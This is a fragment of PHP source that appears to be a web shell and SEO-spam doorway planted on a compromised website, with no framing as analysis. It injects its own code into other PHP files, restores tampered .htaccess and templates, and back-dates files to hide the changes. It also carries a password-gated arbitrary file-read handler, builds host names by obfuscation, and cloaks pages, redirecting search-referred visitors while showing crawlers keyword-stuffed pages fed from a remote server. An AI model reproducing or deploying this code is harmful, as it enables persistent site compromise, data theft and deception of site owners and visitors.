			
			
			$NowPutStrI .= '
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
	if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowHtacFile,0755);
		@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
		@chmod($nowHtacFile,0755);
	}
}


if(file_exists($bkLocalFileIndex1)){
	if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@chmod($nowIndexFile,0755);
		@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
		@chmod($nowIndexFile,0755);
	}
}

if(file_exists($bkLocalFileMoban1)){
	
	if(!file_exists($nmbf1)){
		if(!is_dir("./$nowFileDir")){
			@mkdir("./$nowFileDir",0755);
		}
		@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
		@chmod($nmbf1,0755);
	}else{
		if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
			$tpstrMb = file_get_contents($nmbf1);
			if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
				$fitime = filemtime($bkLocalFileMoban1);
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($bkLocalFileMoban1,$tpstrMb);
				@touch($bkLocalFileMoban1, $fitime, $fitime);  
			}else{
				@chmod($bkLocalFileMoban1,0755);
				@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
				@chmod($bkLocalFileMoban1,0755);
			}
		}
	}
	
}';
			
			
	$NowPutStrI .= PHP_EOL . '//ck1end'.PHP_EOL;
	
	if(strstr($strCkLocalFile1,'//ck1bg') && strstr($strCkLocalFile1,'//ck1end')){
		
		$rsck1 = '#//ck1bg.*?//ck1end#si';
		$strCkLocalFile1 = preg_replace($rsck1,$NowPutStrI,$strCkLocalFile1);
	

		
	}else{
		$strCkLocalFile1 = preg_replace('#<\?(php)?#i', '<'.'?\1'. PHP_EOL .$NowPutStrI. PHP_EOL , $strCkLocalFile1, 1);
	}
	
			file_put_contents($ckLocalFile1,$strCkLocalFile1);

			@touch($ckLocalFile1, $fitime, $fitime);

			
		}
		
		

	}
	


 	save_install($dateArr);
	echo '<br/>rset ok!<br/>';
	echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom;
	echo "<br/>";

	$staus = backup_install($dateArr,2);
	if($staus != '#ok#'){
		$staus = backup_install_two($dateArr,1);
	}
	
	if($staus == '#ok#'){
		echo '<br/>backup ok!<br/>';
	}else{
		echo '<br/>backup fail!<br/>';
	}
	
	
}



if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
	$strDefault = file_get_contents(__FILE__);	
	$strDefault = str_replace('define("LINKNUM","18");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
	

if(isset($_GET["houzui"]) && $_GET["houzui"]){
	$strDefault = file_get_contents(__FILE__);	
	$rII='#(/{2}jthouzuibg)(.*?)(/{2}jthouzuiend)#s';
	$strDefault = preg_replace($rII, '\1'.  PHP_EOL  . 'define("JTHZ","'.trim($_GET["houzui"]).'");'  . PHP_EOL .'\3', $strDefault);		
	file_put_contents(__FILE__,$strDefault);
	echo "<br/>houzui (".$_GET["houzui"].") ok!<br/>";
	exit;
	
}
	
if(isset($_GET["moshi"])){
	
	if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
			echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>";			die();	}
	if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
		@unlink(".htaccess");	}
	
	$strDefault = file_get_contents(__FILE__);	
	
	$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
	$rp2 = 'define("JDT","'.$_GET["moshi"].'");';	$strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);	
	
	$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}

	

	
if(isset($_GET["delmyself"]) && $_GET["delmyself"]==1){
	$str = file_get_contents(__FILE__);	$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';	$str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si';
	$str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $str2 = preg_replace($r4, '', $str2);
	file_put_contents(__FILE__,$str2);
	@unlink("../logs.txt");
	echo 'ok';
	die();
}

if(isset($_POST["delmyself"]) && $_POST["delmyself"]==1){
	$str = file_get_contents(__FILE__);	$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';	$str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si';
	$str2 = preg_replace($r4, '', $str2); $r4 = '#w{6}forbg.*?w{6}forend#si'; $str2 = preg_replace($r4, '', $str2);
	file_put_contents(__FILE__,$str2);
	@unlink("../logs.txt");
	echo 'ok';
	die();
}
	
// iiiiiiiiiend
	
	
	
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
   $arrArrr[$j++] = $date_string{$i}.$date_string{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{9}.$O00O0O{4}.$O00O0O{0}.$O00O0O{13}.$O00O0O{17}.$O00O0O{14}.$O00O0O{11};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};



if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
	
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	
	if (! is_dir("../xmlmap"))
		mkdir("../xmlmap", 0755);	
	global $gnumber;
	$gnumber = 1;
	$bgNum = (int)trim($_GET["gsitemap"]);
	$mapnum = (int)trim($_GET["mapnum"]);
	if($bgNum > FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);
	
	$rs = '#<map>(.*)</map>#si';
	$mapLogs = file_get_contents("./map.log");
	
	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";
		
		
		if(JDT == 0 && $gnumber == 1){
			
			if(strstr($mapLogs,'site_map.xml') && file_exists('../xmlmap/sitemap.xml')){
				echo $vals."<br/>";
				echo '../xmlmap/sitemap.xml successed<br/>';
				$gnumber++;
				continue;	
			}
		
		}elseif(JDT == 0){
			
				
		if(strstr($mapLogs,'#' . $arrABC[$gnumber-2] . 'goodssearch'  .'.xml#') && file_exists('../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml')){
			echo $vals."<br/>";
			echo '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		}
		
		
		if(strstr($mapLogs,'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#') && file_exists('../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml')){
			echo $vals."<br/>";
			echo '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		
		for($i=0; $i<3; $i++){
			$idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
			$tempIdStr = curl_get_from_webpage($idUrl,'',5);
			$arrIdNameNow = array();
			if(preg_match($rs,$tempIdStr,$matchIdName)){
				$tparrIdName = explode('^^',$matchIdName[1]);
				foreach($tparrIdName as $vs){
					$tpArr = explode('^',$vs);
					if(count($tpArr) == 2){
						$arrIdNameNow[$tpArr[0]] = $tpArr[1];
					}elseif(count($tpArr) > 2){
						$tpstr = '';
						for($j=1; $j<count($tpArr); $j++){
							$tpstr .= $tpArr[$j] . ' ';
						}
						$tpstr = trim($tpstr);
						$arrIdNameNow[$tpArr[0]] = $tpstr;
					}
				}
				
				break;
			}
		}
		
		
	
		if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
			echo "g sitemap fail<br/>";
			die();
		}
		
		echo $vals."<br/>";
	
		if($gnumber == 1){
			if(JDT == 1){
				gsitemap($arrIdNameNow,2,1);			
				}else{
				gsitemap($arrIdNameNow,1,2);			
				}
		}else{
			
			if(JDT == 1){
				gsitemap2($arrIdNameNow,2,1);			}else{
				gsitemap2($arrIdNameNow,1,2);			}
			
		}
		
		unset($arrIdNameNow,$tempArr1,$tempArr2);	}
	
}


if(isset($_GET["ghtac"]) && $_GET["ghtac"]){

	$dirNames = dirname(__FILE__);    
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	
	$PreDir = '';	
	if(JDT == 1){
		$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';	
	}else{
		$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';	
	}
	$strhtt = '';
	if (file_exists("$PreDir.htaccess")){
		@chmod("$PreDir.htaccess",0755);
		$strhtt = file_get_contents("$PreDir.htaccess");	
	}
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
	}
		
	if(1){
		
		$r0 = '#(.*RewriteEngine On.*)#i';

		$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		

	



		if(JDT == 0){
			
			
			$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$  xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  xmlmap/\$1 [L]' . PHP_EOL ;
		
			$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*([a-z]+goodssearch\.xml)$  xmlmap/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  xmlmap/\$1 [L]' . PHP_EOL .'RewriteRule' ;
		
			
		}else{
			
			
			$rsut = '\1'. PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
		
			$rsut2 =  PHP_EOL . 'RewriteRule ^'. '.*/[^-]+-(\d+)/.*'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL   .'RewriteRule' ;	
		
			
		}



	
			if(preg_match($r0,$strhtt)){
				$strhtt = preg_replace($r0,$rsut,$strhtt,1);
			}elseif(preg_match($r1,$strhtt)){
				$strhtt = preg_replace($r1,$rsut,$strhtt,1);
			}else{
				$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
			}
		
		if(JDT == 1 or JDT == 0){
			file_put_contents("$PreDir.htaccess", $strhtt);		
		}
		
	}

	die("ghtac ok");
}


if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
	
if(JDT==2){
	
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
		$tempSid = '';		$tempPid = '';		
				
		$r2='#.*/[^-]+-(\d+)/.*'. JTHZ .'$#i';		$r3='#.*/[^-]+-(\d+)/.*/$#i';
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
	
			
		if($tempPid && !strstr($_SERVER['REQUEST_URI'],'category/')){
			$_GET['id']= $tempPid;		
		}else{
			$r2='#(.*)/category-\d+/#i';		$r3='#(.*)/category-\d+/$#i';
			if(preg_match($r2,$UrlParent,$matches2)){
				if(isset($matches2[1]))
					$tempPid = $matches2[1];		
			}else{
				preg_match($r3,$UrlParent,$matches13);
				if(isset($matches13[1]))
					$tempPid = $matches13[1];
			}
			
			if($tempPid)
				$_GET['cat']= $tempPid;	
			
		}
	}
	
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
		
		$tempSid = '';		$tempPid = '';		$UrlParent = $_GET['keyword'];		

		$r2='#-(\d+)$#i';		$r3='#[-/]'.'(\d+)$#i';	
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		

	
	
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
	
	
}	
	
function getRandStr(){
	
	$arrABC = range('a','z');	shuffle($arrABC); 
	$randNum = rand(4,6);	
	$str = implode('',array_slice($arrABC,0,$randNum));	
	return $str;}
	

if(isset($_GET["id"]))
	$id = $_GET["id"];
else{
	
	if(isset($_GET["cat"])){
		$rqurl = $_GET["cat"];
		
		$logFileName = './idlogs.txt';
		if(file_exists($logFileName)){
			$arrUrlId = unserialize(file_get_contents($logFileName));
		}else{
			$arrUrlId = array();
		}

		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
			$id  = $arrUrlId[$rqurl];		
		}else{
			$arrUrlId[$rqurl] = getRandCId($rqurl);
			$id = $arrUrlId[$rqurl];
			file_put_contents($logFileName,serialize($arrUrlId));
			@touch(dirname($logFileName), $fLogTime, $fLogTime); 
			@touch($logFileName, $fLogTime, $fLogTime);    
		}
	}else{
		
	
	$id = "791007"; //llq index id 
	
	}

}

$rs_ptth = $O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
$rs_http = 'http://www.';
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
	http_response_code(404);
	exit;
}
$id23 = $id;



$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
	$referer = $_SERVER["HTTP_REFERER"]; 
	$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';	

	$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255' ) ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') ); 
	$localIp = get_real_ip();	
	$is_or_no = is_ip($localIp,$ipRanges);
	$iszz = isCrawler();	
	
	if(function_exists('gethostbyaddr')){
		$hostname = @gethostbyaddr($localIp);
		$is_g_ip = preg_match("#google#i", "$hostname") === 1;
	}else{
		$is_g_ip = 0;
	}
	
	if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
		$rsdom = '#^https?://www\.[^/]+/$#i';
		
		$jums1 = $rs_http.$temp_abc.$rs_ptth. CURRENUSE . $siteid .".txt";	
		$jums2 = $rs_http.$temp_def.$rs_ptth. CURRENUSE . $siteid .".txt";
	
		for($i=0;$i<2;$i++){
			$jumstz = curl_getjs_from_webpage($jums1,2);
			$jumstz = trim($jumstz);

			if(!preg_match($rsdom,$jumstz)){
				$jumstz = curl_getjs_from_webpage($jums2,10);
			
				$jumstz = trim($jumstz);
				if(preg_match($rsdom,$jumstz))
					break;
			}else{
				break;
			}
		}
		
		echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';		die();	
	}
}
 
 
 $fcontent = '';
 
 
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
 $rsInfo = '#<info>(.*)</info>#si';
 preg_match($rsInfo,$pInfoStr,$matchInfo);
 if(isset($matchInfo[1])){
	 $InFoStrArr = unserialize($matchInfo[1]);
 }else{
	 exit;
 }
 

 
 
 if(isset($InFoStrArr['frStr2'])){
	$frStr2 = $InFoStrArr['frStr2'];
	$fr2Arr = unserialize($frStr2);
 }
 
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);

$Ptitle = $InFoStrArr['Ptitle'];
$PtitleNowid = $Ptitle;
$nowIdName = $InFoStrArr['nowIdName'];

if(strstr($Ptitle,'#cat#')){
	$tp_title_arr = explode('#cat#',$Ptitle);
	$Ptitle = $tp_title_arr[1];
}

$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];
$nowMateAddArr = unserialize($nowMateAddStr);


$falgMateDes = 0;
if(strstr($pcatstr,'#cname#')){
	$temparrI = explode('#cname#',$pcatstr);
	$catStr = $temparrI[0];
	$catArr = explode('^',$catStr);
	$tparrCat = array();
	$catArrII = array();
	foreach($catArr as $vs){
		$vs = str_replace('&amp;','&',$vs);
		if(!isset($tparrCat[$vs])){
			$tparrCat[$vs] = 1;
			$catArrII[] = $vs;
		}
	}

	$catArr = $catArrII;
	
	$mateStr = $temparrI[1];
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = trim($temparrII[0]);
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = trim($temparrII[1]);
		if(!$pdescription){
			$falgMateDes=1;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}

			if(count($nowMateAddArr)){
				foreach($nowMateAddArr as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pDescriptionYuanShi = $pdescription;
		}
		
	}else{
		$pkeyword = $Ptitle;
		$falgMateDes=1;
	}
}else{
	$catArr = array();
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = $temparrII[0];
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = trim($temparrII[1]);
		if(!$pdescription){
			$falgMateDes=1;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			if(count($nowMateAddArr)){
				foreach($nowMateAddArr as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pDescriptionYuanShi = $pdescription;
		}
	}else{
		$pkeyword = $Ptitle;
		$falgMateDes=1;
	}
}

if($falgMateDes){

			$desPosition = (KEYJG + $id23) % 6;

			if($desPosition == 0)
				$pdescription = $Ptitle .' '. $nowMateAddArr[0] .' '. $nowMateAddArr[1];
			elseif($desPosition == 1)
				$pdescription = $nowMateAddArr[1] .' '. $Ptitle .' '. $nowMateAddArr[0];
			elseif($desPosition == 2)
				$pdescription = $Ptitle .' '. $nowMateAddArr[0] .' '. $nowMateAddArr[1];
			elseif($desPosition == 3)
				$pdescription = $nowMateAddArr[1] .' '. $nowMateAddArr[0] .' '. $Ptitle;
			elseif($desPosition == 4)
				$pdescription = $nowMateAddArr[0] .' '. $Ptitle .' '. $nowMateAddArr[1];
			elseif($desPosition == 5)
				$pdescription = $nowMateAddArr[0] .' '. $nowMateAddArr[1] .' '. $Ptitle;
			
			
}

$tpKeyStrCat = -1;
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23,$PtitleNowid);

if(count($catArr)){
	$endCatName = end($catArr);
	$beginCatName = $catArr[0];
	$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
	$beginCatName = '';
	$endCatName = '';
}

if(function_exists("preg_split")){
	$PtitleArr = preg_split('/\s+/us', $Ptitle);		
}else{
	$PtitleArr = explode(' ', $Ptitle);
}

$tpTitleArr = array();
foreach($PtitleArr as $vs){
	$vs = trim($vs);
	if($vs){
		$tpTitleArr[] = $vs;
	}
}



$numTitleArr = count($tpTitleArr);


$randTkeyI =  RANDNUMI % $numTitleArr;

$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);

$randTkeyII =  RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
	$randTkeyII = abs($randTkeyI-2);
}

$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);


$addTopStr = '';
$addTopStr .= "<h1>{$Ptitle}</h1>".PHP_EOL;
$addTopStr .= $BreadStr.PHP_EOL;




$addStrII = '';

$addStrII .= '<p>';
$addStrII .= '###nowtitles###,';
$addStrII .= $createTitleI .',';
$addStrII .= $pdescription.' ';
$addStrII .= $createTitleII . ' '. $thisdom .'.</p>';

$addStrII .= "<h2>{$Ptitle}</h2>";

if(isset($InFoStrArr['nowPimgArr'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
	foreach($tpImgArr as $tpimg){
		$addStrII .= $tpimg."<br/>".PHP_EOL;
	}
}

$addTopStr .= $addStrII;



$tpaddstr = '';
$tpaddstr .= "<h1>{$Ptitle}</h1>".PHP_EOL;

if(isset($InFoStrArr['pdes'])){
	$InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
	$tpaddstr .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}

if(isset($InFoStrArr['nowPimgArrYs'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
	foreach($tpImgArr as $tpimg){
		$tpaddstr .= $tpimg."<br/>".PHP_EOL;
	}
}



$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
	$tpPid = $key;
	$tpFlink = getalink($tpPid,$vs);
	
	if(strstr($vs,'#cat#')){
		$tp_name_arr = explode('#cat#',$vs);
		$vs = $tp_name_arr[1];
	}
	
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;

if(isset($fr2Arr)){
	$fr2Strs = '<ul>'.PHP_EOL;
	foreach($fr2Arr as $key=>$vs){
		$tpPid = $key;
		$tpFlink = getalink($tpPid,$vs);
		
		
		if(strstr($vs,'#cat#')){
			$tp_name_arr = explode('#cat#',$vs);
			$vs = $tp_name_arr[1];
		}
		
		$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	}
	$fr2Strs .= '</ul>'.PHP_EOL;
}


$addPdesStrII = '';
$addPdesStrII .= "<h3>{$Ptitle}</h3>".PHP_EOL;



$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
	
	$Random =  (KEYJG + $id23)  % 3 + 3;

	
	$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}

	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			$tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			
			
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
	while($nowTempFlag <= $lenthFlinkArr-1){
		$nowTempFlag++;
		$tempDesNameArr[] = "<b>{$Ptitle}</b>";
	}
	
	
	$tpDesNameArr = $tempDesNameArr;
	$tempArrLen = count($tpDesNameArr) - 1;
	
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
		
		
		
		if($i == $tempArrLen){
			$addStrDes1 .= $tpdesVs . '.';
			// echo $addStrDes1;
			// exit;
		}else{
			$addStrDes1 .= $tpdesVs . $nowtempfh;
		}
		$i++;
		
	}
		
	$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;

	
}

$addPdesStrII .= $addStrDes1.PHP_EOL;






$addPdesStr = '';

$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
	
	$Random =  (KEYJG + $id23)  % 2 == 0 ? 3 : 2 ;

	
	$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
	$tempArrLen = count($tpDesNameArr) - 1;
	$temp_arr = array();
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		if(strstr($tpdesVs,'#cat#')){
			$tp_name_arr = explode('#cat#',$tpdesVs);
			$tpdesVs = $tp_name_arr[1];
		}
		
		$temp_arr[$tpdesKey] = $tpdesVs;
		
	}
	$tpDesNameArr = $temp_arr;
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
